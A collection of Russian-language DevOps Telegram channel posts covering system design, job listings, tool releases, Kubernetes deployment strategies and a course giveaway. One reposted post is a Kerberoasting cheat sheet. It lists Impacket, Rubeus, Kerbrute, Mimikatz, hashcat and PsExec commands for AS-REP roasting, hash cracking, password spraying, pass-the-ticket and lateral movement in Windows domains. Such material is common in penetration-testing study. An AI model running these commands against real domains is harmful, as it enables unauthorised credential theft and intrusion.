☄️ Как устроен дизайн системы Facebook

➖ Взаимодействие с клиентом. Пользователи получают доступ к Facebook через мобильные или веб-приложения.

➖ Балансировщик нагрузки. Равномерно распределяет запросы к шлюзам API и управляет событиями для серверов приложений чтения и записи.

➖ Шлюзы API. Прямые запросы к микросервисам.

➖ Запись данных. Шлюзы API направляют операции записи (например, загрузки, комментарии) на сервер приложений, который проверяет запросы, записывает данные и обрабатывает видео.

➖ Генерация ленты. Сервис генерирует и обновляет каналы пользователей.

➖ Чтение данных. Шлюзы API направляют операции чтения (например, просмотр каналов, профилей) в соответствующие службы.

➖ База метаданных. Хранит профили пользователей и данные о публикациях.

➖ Механизм кэширования. Использует Redis или Memcached для кэширования данных, уменьшая задержку и нагрузку на базу данных.

➖ Поисковый сервис (Elasticsearch). Эффективно выполняет поиск пользователей и контента.

➖ Хранилище BLOB-объектов. Хранит загруженные пользователем мультимедиа (изображения, видео).

➖ CDN (сеть доставки контента). Кэширует и обслуживает статический контент с низкой задержкой.

➖ Обработка видео. Управляет обработкой загруженного пользователем видео, включая перекодирование, изменение размера и миниатюры.

➖ Уведомления. Уведомляет пользователей о лайках, комментариях и взаимодействиях.

Архитектура Facebook также включает дополнительные сервисы для мониторинга, аналитики, резервного копирования, восстановления, рекомендательных систем, масштабируемости, оптимизации производительности и надежности.

#devops #facebook

@DevOpsKaz

☄️ Подборка вакансий на выходные

➖ Senior DevOps Engineer, Naviteq, От 6 000 до 7 000$, Астана

➖ Junior DevOps Engineer, Axenix (ранее Accenture), По договоренности, Алматы

➖ DevOps инженер (Middle/Senior), Hard Code, От 350 000 до 900 000 ₸, Астана

➖ Senior DevOps Engineer (Remote), АСД Технолоджиз, От 3 500 до 4 000$, Алматы

➖ Senior SRE инженер (Системный администратор), Сан Коннект, От 1 000 000 до 1 500 000 ₸, Алматы

➖ SysOps/Infrastructure Engineer, G5EN KAZ, По договоренности, Астана

➖ SysOps/Infrastructure Engineer, G5EN KAZ, По договоренности, Алматы

➖ Руководитель отдела разработки и поддержки, «FREEDOM TELECOM», По договоренности, Алматы

#devops #DevOpsИнженер #sre #cv

@DevOpsKaz

☄️ Релиз GitLab 16.5

В новую версию вошли апдейты с отчетами о соблюдении стандартов, правилами целевых веток мерж-реквестов, разрешимыми потоками проблем, ускоренными процессами слияния и другим. Всего — более 25 улучшений.

Помимо улучшений появилось и кое-что новое. Например,
виджет связанных элементов в задачах, целях и ключевых результатах. Или настраиваемая политика заблокированных пользователей.

Познакомьтесь с релизом здесь и поделитесь с коллегами 🤝

#devops #gitlab #gitlab165

@DevOpsKaz

☄️ Основные инструменты API на 2023 год по категориям.

💼 Развертывание и управление:
— API {REST} и FakeRest для развертывания
— Apigee, MuleSoft Anypoint, IBM API Connect для управления

🧪 Тестирование:
— APACHE JMeter и JMeter™ для нагрузочного тестирования
— SoapUI для функциональных тестов
— Rest-Assured для макетов и тестов

🔄 Генерация кода:
— Swagger и RAML Codegen

🔐 Безопасность:
— От общих инструментов, вроде Postman, до нишевых OWASP, ZAP И API Fortress
— Autho, Okta и Keycloak прикроют при авторизации

📊 Контроль:
— Боги мониторинга New Relic, Datadog и AppDynamics

🛡 Защита:
— Cloudflare, AWS WAF и Брандмауэр Azure для надежной защиты

🔍 Дизайн и разработка:
— Swagger (OpenAPI) для спецификаций
— RAML, PAML & API Blueprint для языков
— Postman за изящный дизайн и тестирование
— Mockoon для макетных серверов

#devops #api #aws #azure #cloudflare #apache #swagger

☄️ Шпаргалка по Cloud Network Components

Эта шпаргалка предлагает краткую сводку по ключевым сетевым элементам основных поставщиков облачных услуг.

Сетевые компоненты — основа облачной инфраструктуры, которая гарантирует подключение, масштабируемость и функциональность облачных сервисов.

Это маршрутизаторы, подсистемы балансировки нагрузки и брандмауэры. Они обеспечивают безопасный обмен данными между серверами и клиентами. А CDN оптимизируют доставку контента, кэшируя данные на периферии, уменьшая задержки и улучшая взаимодействие с пользователем.

Все сетевые элементы работают вместе, чтобы создать надежную и быстро реагирующую облачную экосистему.

👉 Расскажите в комментариях, какие у вас были сложности настройки и управления этими сетевыми компонентами? Возможно, кто-то другой их уже проходил и может подсказать вам 😉

#devops #cloud

@DevOpsKaz

Набор рекомендаций по безопасности развертывания Kubernetes.

Цель этого контрольного списка — систематизировать подход к безопасности кластера Kubernetes и обеспечить выполнение всех шагов для защиты кластера от угроз.

Он дает организациям отправную точку для оценки безопасности развертывания Kubernetes и внесения любых изменений для полной защиты.

Рекомендации списка разбиты по категориям:
➖ Аутентификация и авторизация
➖ Секреты
➖ Безопасность конфигурации кластера
➖ Аудит и регистрация
➖ Безопасная конфигурация ОС
➖ Сетевая безопасность
➖ Безопасная настройка рабочих нагрузок
➖ Безопасная сборка образа

Следуйте рекомендациям и вы предпримете важные шаги для защиты сред Kubernetes 🤝

@DevOpsKaz

☄️ Список бесплатных курсов и сертификаций от Cloud Study Network — глобального технологического сообщества, которое делится знаниями.

В их репозитории собраны ссылки от различных вендоров. Среди них: Gitlab, Oracle, Azure, Microsoft, Google, Elastic и множество других.

_____________________

Если хотите учиться на русском, рассмотрите курсы от Слёрм — по Kubernetes, DevOps, SRE, Безопасности, Работе с данными, IaC и другим скиллам. Граждане Казахстана могут купить их в рассрочку от Kaspi либо по региональной скидке от 10%.

Условия только для наших подписчиков 🫡

Пользуйтесь и делитесь с коллегами 🤝

#devops #k8s #kubernetes #iac #sre #learning

@DevOpsKaz

☄️ Релиз Grafana 10.2

Grafana — система визуализации данных, ориентированная на данные систем ИТ-мониторинга. Новая версия Grafana содержит улучшения по части дашбордов и визуализации данных. Теперь дашборды по-настоящему дашборды и интерактивные!

Появились кнопки визуализации на панелях, автоматически сгенерированные заголовки и описания панелей.

В Grafana Enterprise также добавили новые инструменты, которые помогут лучше управлять разрешениями учетных записей пользователей и служб.

Есть и улучшения, которые оптимизируют процессы оповещения, улучшают навигацию по результатам трассировки.

👉 Полный список изменений можно узнать здесь

#devops #grafana

@DevOpsKaz

☄️ RecoverPy — мощный инструмент, который использует возможности вашей системы для восстановления удаленных файлов. Полезно, если вы как и мы иногда чистите те же загрузки, а потом вспоминаете, что там было кое-что важное.

В отличие от других программ, вы можете не только восстанавливать удаленные файлы, но и перезаписывать данные.

Нужен только Linux и права root.

Стратегии развертывания Kubernetes 👆

➖ Повторное создание (Recreate)

Сперва удаление текущей версии приложения, затем развертывание новой версии.

➖ Постепенное развертывание (Rolling)

Все инстансы приложения будут последовательно обновляться до новой версии.

➖ Сине-зеленое развертывание (Blue/Green)

Эта стратегия базируется на двух продуктивных средах: «синяя» — там, где живут старые версии приложения, и «зеленая» — зона, где мы запускаем новую версию приложения.

➖ Канареечное развертывание (Canary)

«Канареечный» деплой схож с зелено-синей стратегией. Часть текущих инстансов приложения заменяется новой версией, на которую переключается часть трафика.

➖ A/B testing

Обычно это стратегия принятия бизнес-решений на основе статистики. Она может быть реализована путем добавления к Canary дополнительной функциональности при определенных условиях. Например, куки браузера, язык или параметры запроса. Вместо того, чтобы открыть доступ к новой функции всем пользователям, ее предлагают лишь ограниченной их части.

➖ Shadow

Теневое развертывание заключается в выпуске версии 1.1 наряду с версией 1.0, перехвате входящих запросов с первой версии и отправке на вторую без влияния на трафик. Это особенно полезно для тестирования production нагрузки на новую функцию.

Каждая стратегия предлагает свой подход к управлению обновлениями.

#devops #kubernetes #k8s

@DevOpsKaz

🗣Внимание, конкурс!

Разыгрываем 7 ваучеров на бесплатное обучение и сертификацию от Cloud Native Computing Foundation. Ваучеры дают 100% скидку на курс или экзамен по Kubernetes из списка ниже до 23 февраля — и мы хотим ими поделиться:

🟣 CKA certification exam
🟣 CKAD certification exam
🟣 CKS certification exam
🟣 Обучение LFS258 Kubernetes Fundamentals
🟣 Обучение LFS260 Kubernetes Security Essentials
🟣 Обучение LFD259 Kubernetes для разработчиков
🟣 Пакет LFS258+CKA (обучение + экзамен)
🟣 Пакет LFD259+CKAD (обучение + экзамен)
🟣 Пакет LFS260+CKS (обучение + экзамен)

Мы хотим, чтобы сообщество DevOps развивалось, поэтому условия розыгрыша просты.

🔵 Подпишитесь на KazDevOps и оставьте комментарий с профилем коллеги (@username) из DevOps и смежных сфер под этим постом.

🚩 Комментарий обязательно оставлять в официальном аккаунте KazDevOps

🥳 13 ноября подведем итоги и выберем 7 победителей методом генерации случайных чисел. Каждый получит по ваучеру. Go-go-go, и успехов!

#kubernetes #cka #ckad #cks #k8s #linuxfoundation #cncf

@DevOpsKaz

☄️ Шпаргалка по дизайну-системы, у которой более 42 тысяч звёзд на GitHub — это вам не шутки 😉

Она будет интересна всем, кто хоть как-то связан с разработкой ПО. Добавив её в закладки, вы получите огромную библиотеку о таких вещах, как:

➖ протоколы коммуникации
➖ DevOps, CI/CD
➖ архитектурные паттерны
➖ базы данных
➖ кэширование
➖ микросервисы (и монолиты)
➖ платежные системы
➖ облачные сервисы и так далее

Особо хвалят диаграммы.

🚩 Ещё одна приятная новость в том, что она есть и на русском. Пользуйтесь и делитесь с коллегами!

#devops #cheatsheet

@DevOpsKaz

Kerberoast. Когда крадешь билеты на концерт, но не знаешь, как их использовать.
Kerberoast - это метод атаки, который используется для получения хешей паролей пользователей в Windows домене, которые будет возможно сбрутить в оффлайн режиме.

➡️ Инструменты:
Rubeus
Kerbrute
Impacket
PsExec

➡️ ASREP-Roast

➡️ Impacket
Проверка ASREP для всех пользователей домена (Требуются валидные данные учетной записи)

python2 GetNPUsers.py <Domain>/<User>:<Password> -request -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

ㅤ
Проверка ASREP по списку пользователей домена (не требует доменных учетных данных)

python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

ㅤ
➡️ Rubeus
Извлечение из всех учетных записей домена

.\Rubeus.exe asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

ㅤ
➡️ Cracking
Windows

hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt

​
Linux

john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
hashcat -m 18200 -a 3 Hashes.txt rockyou

ㅤ
➡️ Brute Force

➡️ Kerbrute

./kerbrute userenum <UserList> --dc <IP> --domain <Domain>

ㅤ
➡️ Rubeus
со списком пользователей

.\Rubeus.exe brute /users:<UserList> /passwords:<Wordlist> /domain:<Domain>

ㅤ
Kerberos-based Password Spraying

.\Rubeus.exe brute /passwords:<Wordlist>

ㅤ
➡️ Kerberoasting

➡️ Impacket

GetUserSPNs.py <Domain>/<User>:<Password> -dc-ip <IP> -request

ㅤ
➡️ Rubeus
Kerberoast всех пользователей домена

.\Rubeus kerberoast

ㅤ
Все пользователи в поздразделении OU

.\Rubeus.exe kerberoast /ou:OU=Service_Accounts,DC=Security,DC=local

ㅤ
Атака на конкретных пользователей

.\Rubeus.exe kerberoast /user:File_SVC

ㅤ
➡️ Pass-The-Ticket

➡️ Mimikatz
Сбор тикетов

sekurlsa::tickets /export

​
Инжект тикета

kerberos::ptt <.kirbi file>

​
Создать CMD с инжектированным тикетом

misc::cmd

ㅤ
➡️ Rubeus
Дамп тикетов

.\Rubeus.exe dump

​
Инжект тикета

.\Rubeus.exe ptt /ticket:<.kirbi file>

ㅤ
➡️ PsExec
Используется после инъекции тикетов через Rubeus или Mimikatz

.\PsExec.exe -accepteula \\<IP> cmd

ㅤ
🌚 @poxek

Grafana Tempo — инструмент трассировки с открытым исходным кодом. И на днях состоялся релиз версии 2.3. Рассказываем, что это и почему важно.

🚩 Немного справки: для его работы требуется только объектное хранилище, типа Google Cloud Storage или Amazon S3. Он позволяет принимать, записывать и хранить полные пути чтения наших производственных и тестовых окружений, а также окружений для разработки. Совместим с OpenTelemetry и Opentracing и интегрируется с другими инструментами, вроде Prometheus.

🚩 Что нового в Tempo 2.3:

➖ гораздо более производительные запросы TraceQL
➖ задержка поиска сильно сокращена за счёт новой версии бэкенда
➖ новые структурные операторы: например, для поиска фрагментов HTTP-запросов
➖ функция, которая показывает, какие ошибки или сообщения возникают в вашем кластере
➖ полная поддержка атрибутов OpenTelemetry

🤝 Дальше — еще круче. Делитесь с коллегами!

#devops #grafana #trace #grafanatempo #opentelemetry

@DevOpsKaz